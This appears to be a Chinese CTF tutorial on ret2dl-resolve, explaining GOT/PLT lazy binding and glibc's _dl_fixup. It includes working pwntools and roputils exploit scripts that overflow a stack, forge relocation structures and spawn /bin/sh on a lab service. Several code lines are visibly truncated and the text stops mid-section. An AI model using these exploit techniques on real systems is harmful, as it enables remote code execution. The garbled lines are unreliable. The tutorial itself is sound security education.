Linux pwn入门教程(10)——针对函数重定位流程的几种攻击

roger

　　文章目录

• 作者：Tangerine@SAINTSEC
• 0×00 got表、plt表与延迟绑定
• 0×01 符号解析的过程中发生了什么？
• define ELF32_ST_VISIBILITY(o)        ((o) & 0×03)
• 0×02 32位下的ret2dl-resolve
• 0×03 64位下的ret2dl-resolve
• 0×04 使用ROPutils简化攻击步骤
• 0×05 在.dynamic节中伪造.dynstr节地址
• 0×06 fake link_map
• 阅读原文即可下载课后练习题和例题~
• 原文地址：Linux pwn入门教程(10)——针对函数重定位流程的几种攻击
  

作者：Tangerine@SAINTSEC

　　本系列的最后一篇 感谢各位看客的支持 感谢原作者的付出
　　一直以来都有读者向笔者咨询教程系列问题，奈何该系列并非笔者所写[笔者仅为代发]且笔者功底薄弱，故无法解答，望见谅
　　如有关于该系列教程的疑问建议联系论坛的原作者ID：Tangerine

0×00 got表、plt表与延迟绑定　　在之前的章节中，我们无数次提到过got表和plt表这两个结构。这两个表有什么不同？为什么调用函数要经过这两个表？ret2dl-resolve与这些内容又有什么关系呢？本节我们将通过调试和“考古”来回答这些问题。
　　我们先选择程序~/XMAN 2016-level3/level3进行实验。这个程序在main函数中和vulnerable_function中都调用了write函数，我们分别在两个call _write和一个call _read上下断点，调试观察发生了什么。
　　调试 启动后程序断在第一个call _write处

Linux pwn入门教程(10)——针对函数重定位流程的几种攻击

此时我们按F7跟进函数，发现EIP跳到了.plt表上，从旁边的箭头我们可以看到这个jmp指向了后面的push 18h; jmp loc_8048300

Linux pwn入门教程(10)——针对函数重定位流程的几种攻击

我们继续F7执行到jmp loc_8048300发生跳转，发现这边又是一个push和一个jmp，这段代码也在.plt上。

Linux pwn入门教程(10)——针对函数重定位流程的几种攻击

同样的，我们直接执行到jmp执行完，发现程序跳转到了ld_2.24.so上，这个地址是loc_F7F5D010

Linux pwn入门教程(10)——针对函数重定位流程的几种攻击

到这里，有些人可能已经发现了不对劲。刚刚的指令明明是jmp ds:off_804a008，这个F7F5D010是从哪里冒出来的呢？其实这行jmp的意思并不是跳转到地址0x0804a008执行代码，而是跳转到地址0x0804a008中保存的地址处。同理，一开始的jmp ds:off_804a018也不是跳转到地址0x0804a018.OK，我们来看一下这两个地址里保存了什么。

Linux pwn入门教程(10)——针对函数重定位流程的几种攻击

　　回到call _write F7跟进后的那张图，跟进后的第一条指令是jmp ds:off_804a018，这个地址位于.got.plt中。我们看到其保存的内容是loc_8048346，后面还跟着一个DATA XREF:_write↑r. 说明这是一个跟write函数相关的代码引用的这个地址，上面的有一个同样的read也说明了这一点。而jmp ds:0ff_804a008也是跳到了0x0804a008保存的地址loc_F7F5D010处。
　　回到刚刚的eip，我们继续F8单步往下走，执行到retn 0Ch，继续往下执行就到了write函数的真正地址

Linux pwn入门教程(10)——针对函数重定位流程的几种攻击

Linux pwn入门教程(10)——针对函数重定位流程的几种攻击

现在我们可以归纳出call write的执行流程如下图：

Linux pwn入门教程(10)——针对函数重定位流程的几种攻击

然后我们F9到断在call _read，发现其流程也和上图差不多，唯一的区别在于addr1和push num中的数字不一样，call _read时push的数字是0接下来我们让程序执行到第二个call _write，F7跟进后发现jmp ds:0ff_804a018旁边的箭头不再指向下面的push 18h。

Linux pwn入门教程(10)——针对函数重定位流程的几种攻击

我们查看.got.plt，发现其内容已经直接变成了write函数在内存中的真实地址。

Linux pwn入门教程(10)——针对函数重定位流程的几种攻击

　　由此我们可以得出一个结论，只有某个库函数第一次被调用时才会经历一系列繁琐的过程，之后的调用会直接跳转到其对应的地址。那么程序为什么要这么设计呢？
　　要想回答这个问题，首先我们得从动态链接说起。为了减少存储器浪费，现代操作系统支持动态链接特性。即不是在程序编译的时候就把外部的库函数编译进去，而是在运行时再把包含有对应函数的库加载到内存里。由于内存空间有限，选用函数库的组合无限，显然程序不可能在运行之前就知道自己用到的函数会在哪个地址上。比如说对于libc.so来说，我们要求把它加载到地址0×1000处，A程序只引用了libc.so，从理论上来说这个要求不难办到。但是对于用了liba,so, libb.so, libc.so……liby.so, libz.so的B程序来说，0×1000这个地址可能就被liba.so等库占据了。因此，程序在运行时碰到了外部符号，就需要去找到它们真正的内存地址，这个过程被称为重定位。为了安全，现代操作系统的设计要求代码所在的内存必须是不可修改的，那么诸如call read一类的指令即没办法在编译阶段直接指向read函数所在地址，又没办法在运行时修改成read函数所在地址，怎么保证CPU在运行到这行指令时能正确跳到read函数呢？这就需要got表（Global Offset Table，全局偏移表）和plt表（Procedure Linkage Table，过程链接表）进行辅助了。
　　正如我们刚刚分析过的流程，在延迟加载的情况下，每个外部函数的got表都会被初始化成plt表中对应项的地址。当call指令执行时，EIP直接跳转到plt表的一个jmp，这个jmp直接指向对应的got表地址，从这个地址取值。此时这个jmp会跳到保存好的，plt表中对应项的地址，在这里把每个函数重定位过程中唯一的不同点，即一个数字入栈（本例子中write是18h,read是0，对于单个程序来说，这个数字是不变的），然后push got[1]并跳转到got[2]保存的地址。在这个地址中对函数进行了重定位，并且修改got表为真正的函数地址。当第二次调用同一个函数的时候，call仍然使EIP跳转到plt表的同一个jmp，不同的是这回从got表取值取到的是真正的地址，从而避免重复进行重定位。
0×01 符号解析的过程中发生了什么？　　我们通过调试已经大概搞清楚got表，plt表和重定位的流程了，但是作为一名攻击者来说，只了解这些东西并不够。ret2dl-resolve的核心原理是攻击符号重定位流程，使其解析库中存在的任意函数地址，从而实现got表的劫持。为了完成这一目标，我们就必须得深入符号解析的细节，寻找整个解析流程中的潜在攻击点。我们可以在https://ftp.gnu.org/gnu/glibc/下载到glibc源码，这里我用了glibc-2.27版本的源码。
　　我们回到程序跳转到ld_2.24.so的部分，这一段的源码是用汇编实现的，源码路径为glibc/sysdeps/i386/dl-trampoline.S（64位把i386改为x86_64），其主要代码如下：

        .text　　.globl _dl_runtime_resolve
　　.type _dl_runtime_resolve, @function
　　cfi_startproc
　　.align 16
　　_dl_runtime_resolve:
　　cfi_adjust_cfa_offset (8)
　　pushl %eax                # Preserve registers otherwise clobbered.
　　cfi_adjust_cfa_offset (4)
　　pushl %ecx
　　cfi_adjust_cfa_offset (4)
　　pushl %edx
　　cfi_adjust_cfa_offset (4)
　　movl 16(%esp), %edx        # Copy args pushed by PLT in register.  Note
　　movl 12(%esp), %eax        # that `fixup' takes its parameters in regs.
　　call _dl_fixup                # Call resolver.
　　popl %edx                # Get register content back.
　　cfi_adjust_cfa_offset (-4)
　　movl (%esp), %ecx
　　movl %eax, (%esp)        # Store the function address.
　　movl 4(%esp), %eax
　　ret $12                        # Jump to function address.
　　cfi_endproc
　　.size _dl_runtime_resolve, .-_dl_runtime_resolve

　　其采用了GNU风格的语法，可读性比较差，我们对应到IDA中的反汇编结果中修正符号如下_dl_fixup的实现位于glibc/elf/dl-runtime.c，我们首先来看一下函数的参数列表

_dl_fixup (　　# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
　　ELF_MACHINE_RUNTIME_FIXUP_ARGS,
　　# endif
　　struct link_map *__unbounded l, ElfW(Word)>
　　忽略掉宏定义部分，我们可以看到_dl_fixup接收两个参数，link_map类型的指针l对应了push进去的got[1]，reloc_arg对应了push进去的数字。由于link_map *都是一样的，不同的函数差别只在于reloc_arg部分。我们继续追踪reloc_arg这个参数的流向。
　　如果你真的阅读了源码，你会发现这个函数里头找不到reloc_arg，那么这个参数是用不着了吗？不是的，我们往上面看，会看到一个宏定义
[pre]#ifndef># define>　　# define>
　　#endif
　　reloc_offset在函数开头声明变量时出现了。
　　const ElfW(Sym) *const symtab
　　= (const void *) D_PTR (l, l_info[DT_SYMTAB]);
　　const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
　　const PLTREL *const>
　　= (const void *) (D_PTR (l, l_info[DT_JMPREL]) +>
　　const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
　　const ElfW(Sym) *refsym = sym;
　　void *const>
　　lookup_t result;
　　DL_FIXUP_VALUE_TYPE value;

　　D_PTR是一个宏定义，位于glibc/sysdeps/generic/ldsodefs.h中，用于通过link_map结构体寻址。这几行代码分别是寻找并保存symtab, strtab的首地址和利用参数reloc_offset寻找对应的PLTREL结构体项，然后会利用这个结构体项reloc寻找symtab中的项sym和一个rel_addr.我们先来看看这个结构体的定义。这个结构体定义在glibc/elf/elf.h中，32位下该结构体为

typedef struct　　{
　　Elf32_Addr        r_offset;                /* Address */
　　Elf32_Word        r_info;                        /*>
　　} Elf32_Rel;

　　这个结构体中有两个成员变量，其中r_offset参与了初始化变量rel_addr，这个变量在_dl_fixup的最后return处作为函数elf_machine_fixup_plt的参数传入，r_offset实际上就是函数对应的got表项地址。另一个参数r_info参与了初始化变量sym和一些校验，而sym和其成员变量会作为参数传递给函数_dl_lookup_symbol_x和宏DL_FIXUP_MAKE_VALUE中，显然我们必须关注一下它。不过首先我们得看一下reloc->r_info参与的其他部分代码。
　　首先我们看到这么一行代码

 assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);

　　这行代码用了一大堆宏，ELFW宏用来拼接字符串，在这里实际上是为了自动兼容32和64位，R_TYPE和前面出现过的R_SYM定义如下：

#define ELF32_R_SYM(i) ((i)>>8)　　#define ELF32_R_TYPE(i) ((unsigned char)(i))
　　#define ELF32_R_INFO(s, t) (((s)<<8) + (unsigned char)(t))
　　所以这一行代码取reloc->r_info的最后一个字节，判断是否为ELF_MACHINE_JMP_SLOT，即7.我们继续往下看
　　if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
　　{
　　const ElfW(Half) *vernum =
　　(const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
　　ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
　　version = &l->l_versions[ndx];
　　if (version->hash == 0)
　　version = NULL;
　　}

　　这段代码使用reloc->r_info最终给version进行了赋值，这里我们可以看出reloc->r_info的高24位异常可能导致ndx数值异常，进而在version = &l->l_versions[ndx]时可能会引起数组越界从而使程序崩溃。
　　看完了这一段，我们回头看一下变量sym， sym同样使用了ELFW(R_SYM)(reloc->r_info)作为下标进行赋值。

const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];

　　Elfw(Sym)会被处理成Elf32_Sym，定义在glibc/elf/elf.h，结构体如下：

typedef struct　　{
　　Elf32_Word        st_name;                /* Symbol name (string tbl index) */
　　Elf32_Addr        st_value;                /* Symbol value */
　　Elf32_Word        st_size;                /* Symbol>
　　unsigned char        st_info;                /* Symbol type and binding */
　　unsigned char        st_other;                /* Symbol visibility */
　　Elf32_Section        st_shndx;                /* Section index */
　　} Elf32_Sym;

　　这里面的成员变量st_other和st_name都被用到了

  if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)　　{
　　………………
　　result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
　　version, ELF_RTYPE_CLASS_PLT, flags, NULL);
　　………………
　　}

　　这里省略了部分代码，我们可以从函数名判断出，只有这个if成立，真正进行重定位的函数_dl_lookup_symbol_x才会被执行。ELFW(ST_VISIBILITY)会被解析成宏定义
define ELF32_ST_VISIBILITY(o)        ((o) & 0×03)　　位于glibc/elf/elf.h，所以我们得知这边的sym->st_other后两位必须为0。
　　我们可以看到传入_dl_lookup_symbol_x函数的参数中，第一个参数为strtab+sym->st_name，第三个参数是sym指针的引用。strtab在函数的开头已经赋值为strtab的首地址，查阅资料可知strtab是ELF文件中的一个字符串表，内容包括了.symtab和.debug节的符号表等等。我们根据readelf给出的偏移来看一下这个表。

Linux pwn入门教程(10)——针对函数重定位流程的几种攻击

　　可以看到这里面是有read、write、__libc_start_main等函数的名字的。那么函数_dl_lookup_symbol_x为什么要接收这个名字呢？我们进入这个函数，发现这个函数的代码有点多。考虑到我们关心的是重定位过程中不同的reloc_arg是如何影响函数的重定位的，我们在此不分析其细节。

_dl_lookup_symbol_x (const char *undef_name, struct link_map *undef_map,　　const ElfW(Sym) **ref,
　　struct r_scope_elem *symbol_scope[],
　　const struct r_found_version *version,
　　int type_class, int flags, struct link_map *skip_map)
　　{
　　const uint_fast32_t new_hash = dl_new_hash (undef_name);
　　unsigned long int old_hash = 0xffffffff;
　　struct sym_val current_value = { NULL, NULL };
　　.............
　　/* Search the>
　　for (size_t start = i; *scope != NULL; start = 0, ++scope)
　　{
　　int res = do_lookup_x (undef_name, new_hash, &old_hash, *ref,
　　¤t_value, *scope, start, version, flags,
　　skip_map, type_class, undef_map);
　　if (res > 0)
　　break;
　　if (__glibc_unlikely (res < 0) && skip_map == NULL)
　　{
　　/* Oh, oh.  The file named in the>
　　contain the needed symbol.  This code is never reached
　　for unversioned lookups.  */
　　assert (version != NULL);
　　const char *reference_name = undef_map ? undef_map->l_name : "";
　　struct dl_exception exception;
　　/* XXX We cannot translate the message.  */
　　_dl_exception_create_format
　　(&exception, DSO_FILENAME (reference_name),
　　"symbol %s version %s not defined in file %s"
　　" with link time reference%s",
　　undef_name, version->name, version->filename,
　　res == -2 ? " (no version symbols)" : "");
　　_dl_signal_cexception (0, &exception, N_("relocation error"));
　　_dl_exception_free (&exception);
　　*ref = NULL;
　　return 0;
　　}
　　...............
　　}

　　我们看到函数名字会被计算hash，这个hash会传递给do_lookup_x，从函数名和下面对分支的注释我们可以看出来do_lookup_x才是真正进行重定位的函数，而且其返回值res大于0说明寻找到了函数的地址。我们继续进入do_lookup_x，发现其主要是使用用strtab + sym->st_name计算出来的参数new_hash进行计算，与strtab + sym->st_name，sym等并没有什么关系。对比do_lookup_x的参数列表和传入的参数，我们可以发现其结果保存在current_value中。

do_lookup_x:　　static int
　　__attribute_noinline__
　　do_lookup_x (const char *undef_name, uint_fast32_t new_hash,
　　unsigned long int *old_hash, const ElfW(Sym) *ref,
　　struct sym_val *result, struct r_scope_elem *scope,>
　　const struct r_found_version *const version, int flags,
　　struct link_map *skip, int type_class, struct link_map *undef_map)
　　_dl_lookup_symbol_x:
　　int res = do_lookup_x (undef_name, new_hash, &old_hash, *ref,
　　¤t_value, *scope, start, version, flags,
　　skip_map, type_class, undef_map);

　　至此，我们已经分析完了reloc_arg对函数重定位的影响，我们用下面这张图总结一下整个影响过程：

Linux pwn入门教程(10)——针对函数重定位流程的几种攻击

我们以write函数为例进行调试分析，write的reloc_arg是0×18

Linux pwn入门教程(10)——针对函数重定位流程的几种攻击

使用readelf查看程序信息，找到JMPREL在0x080482b0

Linux pwn入门教程(10)——针对函数重定位流程的几种攻击

事实上该信息存储在.rel.plt节里我们找到这块内存，按照结构体格式解析数据，可知r->offset = 0x0804a018 , r->info=407，与readelf显示的.rel.plt数据吻合。

Linux pwn入门教程(10)——针对函数重定位流程的几种攻击

Linux pwn入门教程(10)——针对函数重定位流程的几种攻击

所以是symtab的第四项，我们可以通过#include<elf.h>导入该结构体后使用sizeof算出Elf32_Sym大小为0×10，通过上面readelf显示的节头信息我们发现symtab并不会映射到内存中，可是重定位是在运行过程中进行的，显然在内存中会有相关数据，这就产生了矛盾。通过查阅资料我们可以得知其实symtab有个子集dymsym，在节头表中显示其位于080481cc

Linux pwn入门教程(10)——针对函数重定位流程的几种攻击

对照结构体，st_name是0×31，接下来我们去strtab找，同样的，strtab也有个子集dynstr，地址在0804822c.加上0×31后为0804825d

Linux pwn入门教程(10)——针对函数重定位流程的几种攻击

0×02 32位下的ret2dl-resolve　　通过一系列冗长的源码阅读+调试分析，我们捋了一遍符号重定位的流程，现在我们要站在攻击者的角度看待这个流程了。从上面的分析结果中我们知道其实最终影响解析的是函数的名字，那么如果我们强行把write改成system呢？我们来试一下。

Linux pwn入门教程(10)——针对函数重定位流程的几种攻击

我们强行修改内存数据，然后继续运行，发现劫持got表成功，此时write表项是system的地址。

Linux pwn入门教程(10)——针对函数重定位流程的几种攻击

那么我们是不是可以修改dynstr里面的数据呢？通过查看内存属性，我们很不幸地发现.rel.plt. .dynsym .dynstr所在的内存区域都不可写。

Linux pwn入门教程(10)——针对函数重定位流程的几种攻击

这样一来，我们能够改变的就只有reloc_arg了。基于上面的分析，我们的思路是在内存中伪造Elf32_Rel和Elf32_Sym两个结构体，并手动传递reloc_arg使其指向我们伪造的结构体，让Elf32_Sym.st_name的偏移值指向预先放在内存中的字符串system完成攻击。为了地址可控，我们首先进行栈劫持并跳转到0x0804834B

Linux pwn入门教程(10)——针对函数重定位流程的几种攻击

为此我们必须在bss段构造一个新的栈，以便栈劫持完成后程序不会崩溃。ROP链如下：

#!/usr/bin/python　　#coding:utf-8
　　from pwn import *
　　context.update(os = 'linux', arch = 'i386')
　　start_addr = 0x08048350
　　read_plt = 0x08048310
　　write_plt = 0x08048340
　　write_plt_without_push_reloc_arg = 0x0804834b
　　leave_ret = 0x08048482
　　pop3_ret = 0x08048519
　　pop_ebp_ret = 0x0804851b
　　new_stack_addr = 0x0804a200                                                        #bss与got表相邻，_dl_fixup中会降低栈后传参，设置离bss首地址远一点防止参数写入非法地址出错
　　io = remote('172.17.0.2', 10001)
　　payload = ""
　　payload += 'A'*140                                                                        #padding
　　payload += p32(read_plt)                                                        #调用read函数往新栈写值，防止leave; retn到新栈后出现ret到地址0上导致出错
　　payload += p32(pop3_ret)                                                        #read函数返回后从栈上弹出三个参数
　　payload += p32(0)                                                                        #fd = 0
　　payload += p32(new_stack_addr)                                                #buf = new_stack_addr
　　payload += p32(0x400)                                                                        #size = 0x400
　　payload += p32(pop_ebp_ret)                                                        #把新栈顶给ebp，接下来利用leave指令把ebp的值赋给esp
　　payload += p32(new_stack_addr)                                
　　payload += p32(leave_ret)
　　io.send(payload)                                                                        #此时程序会停在我们使用payload调用的read函数处等待输入数据
　　payload = ""
　　payload += "AAAA"                                                                        #leave = mov esp, ebp; pop ebp，占位用于pop ebp
　　payload += p32(write_plt_without_push_reloc_arg)        #按照我们的测试方案，强制程序对write函数重定位，reloc_arg由我们手动放入栈中
　　payload += p32(0x18)                                                                #手动传递write的reloc_arg，调用write
　　payload += p32(start_addr)                                                        #函数执行完后返回start
　　payload += p32(1)                                                                        #fd = 1
　　payload += p32(0x08048000)                                                        #buf = ELF程序加载开头，write会输出ELF
　　payload += p32(4)                                                                        #size = 4
　　io.send(payload)

　　测试结果：

Linux pwn入门教程(10)——针对函数重定位流程的几种攻击

我们可以看到调用成功了。我们发现其实跳转到write_plt_without_push_reloc_arg上，还是会直接跳转到PLT[0]，所以我们可以把这个地址改成PLT[0]的地址。

Linux pwn入门教程(10)——针对函数重定位流程的几种攻击

接下来我们开始着手在新的栈上伪造两个结构体：

write_got = 0x0804a018        　　new_stack_addr = 0x0804a500                        #bss与got表相邻，_dl_fixup中会降低栈后传参，设置离bss首地址远一点防止参数写入非法地址出错
　　relplt_addr = 0x080482b0                        #.rel.plt的首地址，通过计算首地址和新栈上我们伪造的结构体Elf32_Rel偏移构造reloc_arg
　　dymsym_addr = 0x080481cc                        #.dynsym的首地址，通过计算首地址和新栈上我们伪造的Elf32_Sym结构体偏移构造Elf32_Rel.r_info
　　dynstr_addr = 0x0804822c                        #.dynstr的首地址，通过计算首地址和新栈上我们伪造的函数名字符串system偏移构造Elf32_Sym.st_name
　　fake_Elf32_Rel_addr = new_stack_addr + 0x50        #在新栈上选择一块空间放伪造的Elf32_Rel结构体，结构体大小为8字节
　　fake_Elf32_Sym_addr = new_stack_addr + 0x5c        #在伪造的Elf32_Rel结构体后面接上伪造的Elf32_Sym结构体，结构体大小为0x10字节
　　binsh_addr = new_stack_addr + 0x74                        #把/bin/sh\x00字符串放在最后面
　　fake_reloc_arg = fake_Elf32_Rel_addr ->
　　fake_r_info = ((fake_Elf32_Sym_addr - dymsym_addr)/0x10) << 8 | 0x7 #伪造r_info，偏移要计算成下标，除以Elf32_Sym的大小，最后一字节为0x7
　　fake_st_name = new_stack_addr + 0x6c - dynstr_addr                #伪造的Elf32_Sym结构体后面接上伪造的函数名字符串system
　　fake_Elf32_Rel_data = ""
　　fake_Elf32_Rel_data += p32(write_got)                                        #r_offset = write_got，以免重定位完毕回填got表的时候出现非法内存访问错误
　　fake_Elf32_Rel_data += p32(fake_r_info)
　　fake_Elf32_Sym_data = ""
　　fake_Elf32_Sym_data += p32(fake_st_name)
　　fake_Elf32_Sym_data += p32(0)                                                        #后面的数据直接套用write函数的Elf32_Sym结构体，具体成员变量含义自行搜索
　　fake_Elf32_Sym_data += p32(0)
　　fake_Elf32_Sym_data += p32(0x12)

　　我们把新栈的地址向后调整了一点，因为在调试深入到_dl_fixup的时候发现某行指令试图对got表写入，而got表正好就在bss的前面，紧接着bss，为了防止运行出错，我们进行了调整。此外，需要注意的是伪造的两个结构体都要与其首地址保持对齐。完成了结构体伪造之后，我们将这些内容放在新栈中，调试的时候确认整个伪造的链条正确，pwn it!

Linux pwn入门教程(10)——针对函数重定位流程的几种攻击

0×03 64位下的ret2dl-resolve　　与32位不同，在64位下，虽然_dl_fixup函数的逻辑没有改变，但是许多相关的变量和结构体都有了变化。例如在glibc/sysdeps/x86_64/dl-runtime.c中定义了
　　reloc_offset和reloc_index

#define>#define>　　#include <elf/dl-runtime.c>

　　我们可以可以推断出reloc_arg已经不像32位中是作为一个偏移值存在，而是作为一个数组下标存在。此外，两个关键的结构体也做出了调整：Elf32_Rel升级为Elf64_Rela, Elf32_Sym升级为Elf64_Sym，这两个结构体的大小均为0×18

typedef struct　　{
　　Elf64_Addr        r_offset;                /* Address */
　　Elf64_Xword        r_info;                        /*>
　　Elf64_Sxword        r_addend;                /* Addend */
　　} Elf64_Rela;
　　typedef struct
　　{
　　Elf64_Word        st_name;                /* Symbol name (string tbl index) */
　　unsigned char        st_info;                /* Symbol type and binding */
　　unsigned char st_other;                /* Symbol visibility */
　　Elf64_Section        st_shndx;                /* Section index */
　　Elf64_Addr        st_value;                /* Symbol value */
　　Elf64_Xword        st_size;                /* Symbol>
　　} Elf64_Sym;

　　此外，_dl_runtime_resolve的实现位于glibc/sysdeps/x86_64/dl-trampoline.h中，其代码加了宏定义之后可读性很差，核心内容仍然是调用_dl_fixup，此处不再分析。
　　最后，在64位下进行ret2dl-resolve还有一个问题，即我们在分析源码时提到但是应用中却忽略的一个潜在数组越界：

      if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)　　{
　　const ElfW(Half) *vernum =
　　(const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
　　ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
　　version = &l->l_versions[ndx];
　　if (version->hash == 0)
　　version = NULL;
　　}

　　这里会使用reloc->r_info的高位作为下标产生了ndx，然后在link_map的成员数组变量l_versions中取值作为version。为了在伪造的时候正确定位到sym，r_info必然会较大。在32位的情况下，由于程序的映射较为紧凑，>_dl_fixup后，将断点下在if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)附近。

Linux pwn入门教程(10)——针对函数重定位流程的几种攻击

中断后切换到汇编

Linux pwn入门教程(10)——针对函数重定位流程的几种攻击

单步运行到movzx edx, word ptr [edx+esi*2]一行

Linux pwn入门教程(10)——针对函数重定位流程的几种攻击

观察edx的值，此处为0x0804827c, edx+esi*2 = 0x08048284，查看程序的内存映射情况

Linux pwn入门教程(10)——针对函数重定位流程的几种攻击

一直到地址0x0804b000都是可读的，所以esi，也就是reloc->r_info的高24位最高可以达到0x16c2，考虑到.dymsym与.bss的间隔，这个允许范围基本够用。继续往下看

Linux pwn入门教程(10)——针对函数重定位流程的几种攻击

　　此时的edi = 0xf7fa9918，[edi+170h]保存的值为0Xf7f7eb08，其后连续可读的地址最大值为0xf7faa000，因此mov ecx, [edx+4]一行，按照之前几行汇编代码的算法，只要取出的edx值不大于(0xf7faa000-0xf7f7eb08)/0×10 = 0x2b4f，version = &l->l_versions[ndx];就不会产生非法内存访问。仔细观察会发现0x0804827c~0x0804b000之间几乎所有的2字节word型数据都符合要求。因此，大部分情况下32位的题目很少会产生ret2dl-resolve在此处造成的段错误。
　　而对于64位，我们用相同的方法调试本节的例子~/XMAN 2016-level3_64/level3_64会发现由于我们常用的bss段被映射到了0×600000之后，而dynsym的地址仍然在0×400000附近，r_info的高位将会变得很大，再加上此时vernum也在0×400000附近，vernum[ELFW(R_SYM) (reloc->r_info)]将会有很大概率落在在0×400000~0×600000间的不可读区域

Linux pwn入门教程(10)——针对函数重定位流程的几种攻击

　　从而产生一个段错误。为了防止出现这个错误，我们需要修改判断流程，使得l->l_info[VERSYMIDX (DT_VERSYM)]为0，从而绕开这块代码。而l->l_info[VERSYMIDX (DT_VERSYM)]在64位中的位置就是link_map+0x1c8(对应的，32位下为link_map+0xe4)，所以我们需要泄露link_map地址并将link_map置为0
　　64位下的ret2dl-resolve与32位下的ret2dl-resolve除了上述一些变化之外，exp构造流程并没有什么区别，在此处不再赘述，详细脚本可见于附件。
　　理论上来说，ret2dl-resolve对于所有存在栈溢出，没有Full>_dl_fixup了)且有一个已知确定的栈地址(可以通过stack pivot劫持栈到已知地址)的程序都适用。但是我们从上面的64位ret2dl-resolve中可以看到其必须泄露link_map的地址才能完成利用，对于32位程序来说也可能出现同样的问题。如果出现了不存在输出的栈溢出程序，我们就没办法用这种套路了，那我们该怎么办呢？接下来的几节我们将介绍一些不依赖泄露的攻击手段。
0×04 使用ROPutils简化攻击步骤　　从上面32位和64位的攻击脚本我们不难看出来，虽然构造payload的过程很繁琐，但是实际上大部分代码的格式都是固定的，我们完全可以自己把它们封装成一个函数进行调用。当然，我们还可以当一把懒人，直接用别人写好的库。是的，我说的就是一个有趣的，没有使用说明的项目ROPutils(https://github.com/inaz2/roputils)
　　这个python库的作者似乎挺懒的，不仅不写文档，而且代码也好几年没更新了。不过这并不妨碍其便利性。我们直接看代码roputils.py，其大部分我们会用到的东西都在ROP*和FormatStr这几个类中，不过ROPutils也提供了其他的辅助工具类和函数。当然，在本节中我们只会介绍和ret2dl-resolve相关的一些函数的用法，不做源码分析和过多的介绍。
　　我们可以直接把roputils.py和自己写的脚本放在同一个文件夹下以使用其中的功能。以~/XMAN 2016-level3/level4为例。其实我们会发现fake dl-resolve并不一定需要进行栈劫持，我们只要确保伪造的link_map所在地址已知，且地址能被作为参数传入_dl_fixup即可。我们先来构造一个栈溢出，调用read读取伪造的link_map到.bss中。

from roputils import *　　#为了防止命名冲突，这个脚本全部只使用roputils中的代码。如果需要使用pwntools中的代码需要在import roputils前import pwn，以使得roputils中的ROP覆盖掉pwntools中的ROP
　　rop = ROP('./level4')                        #ROP继承了ELF类，下面的section, got, plt都是调用父类的方法
　　bss_addr = rop.section('.bss')
　　read_got = rop.got('read')
　　read_plt = rop.plt('read')
　　offset = 140
　　io = Proc(host = '172.17.0.2', port = 10001)        #roputils中这里需要显式指定参数名
　　buf = rop.fill(offset)                        #fill用于生成填充数据
　　buf += rop.call(read_plt, 0, bss_addr, 0x100)        #call可以通过某个函数的plt地址方便地进行调用
　　buf += rop.dl_resolve_call(bss_addr+0x20, bss_addr)        #dl_resolve_call有一个参数base和一个可选参数列表*args。base为伪造的link_map所在地址，*args为要传递给被劫持调用的函数的参数。这里我们将"/bin/sh\x00"放置在bss_addr处，link_map放置在bss_addr+0x20处
　　io.write(buf)
　　然后我们直接用dl_resolve_data生成伪造的link_map并发送
　　buf = rop.string('/bin/sh')               
　　buf += rop.fill(0x20, buf)                #如果fill的第二个参数被指定，相当于将第二个参数命名的字符串填充至指定长度
　　buf += rop.dl_resolve_data(bss_addr+0x20, 'system')        #dl_resolve_data的参数也非常简单，第一个参数是伪造的link_map首地址，第二个参数是要伪造的函数名
　　buf += rop.fill(0x100, buf)
　　io.write(buf)

　　然后我们直接使用io.interact(0)就可以打开一个shell了。

Linux pwn入门教程(10)——针对函数重定位流程的几种攻击

关于roputils的用法可以参考其github仓库中的examples，其他练习程序不再提供对应的roputils写法的脚本。
0×05 在.dynamic节中伪造.dynstr节地址　　在32位的ret2dl-resolve一节中我们已经发现,ELF开发小组为了安全，设置.rel.plt. .dynsym .dynstr三个重定位相关的节区均为不可写。然而ELF文件中有一个.dynamic节，其中保存了动态链接器所需要的基本信息，而我们的.dynstr也属于这些基本信息中的一个。更棒的是，如果一个程序没有开启RELRO(即checksec显示No>

Linux pwn入门教程(10)——针对函数重定位流程的几种攻击

.dynamic节中只包含Elf32/64_Dyn结构体类型的数据，这两个结构体定义在glibc/elf/elf.h下

typedef struct　　{
　　Elf32_Sword        d_tag;                        /* Dynamic entry type */
　　union
　　{
　　Elf32_Word d_val;                        /* Integer value */
　　Elf32_Addr d_ptr;                        /* Address value */
　　} d_un;
　　} Elf32_Dyn;
　　typedef struct
　　{
　　Elf64_Sxword        d_tag;                        /* Dynamic entry type */
　　union
　　{
　　Elf64_Xword d_val;                /* Integer value */
　　Elf64_Addr d_ptr;                        /* Address value */
　　} d_un;
　　} Elf64_Dyn;

　　从结构体的定义我们可以看出其由一个d_tag和一个union类型组成，union中的两个变量会随着不同的d_tag进行切换。我们通过readelf看一下.dynstr的d_tag其标记为0×05，union变量显示为值0x0804820c。我们看一下内存中.dynamic节中.dynstr对应的Elf32_Dyn结构体和指针指向的数据。

Linux pwn入门教程(10)——针对函数重定位流程的几种攻击

Linux pwn入门教程(10)——针对函数重定位流程的几种攻击

　　因此，我们只需要在栈溢出后程序中仍然存在至少一个未执行过的函数，我们就可以修改.dynstr对应结构体中的地址，从而使其指向我们伪造的.dynstr数据，进而在解析的时候解析出我们想要的函数。
　　我们以32位的程序为例，打开~/fake_dynstr32/fake_dynstr32

Linux pwn入门教程(10)——针对函数重定位流程的几种攻击

Linux pwn入门教程(10)——针对函数重定位流程的几种攻击

这个程序满足了我们需要的一切条件——No>
0×06 fake link_map　　由于各种保护方式的普及，现在能碰到No>
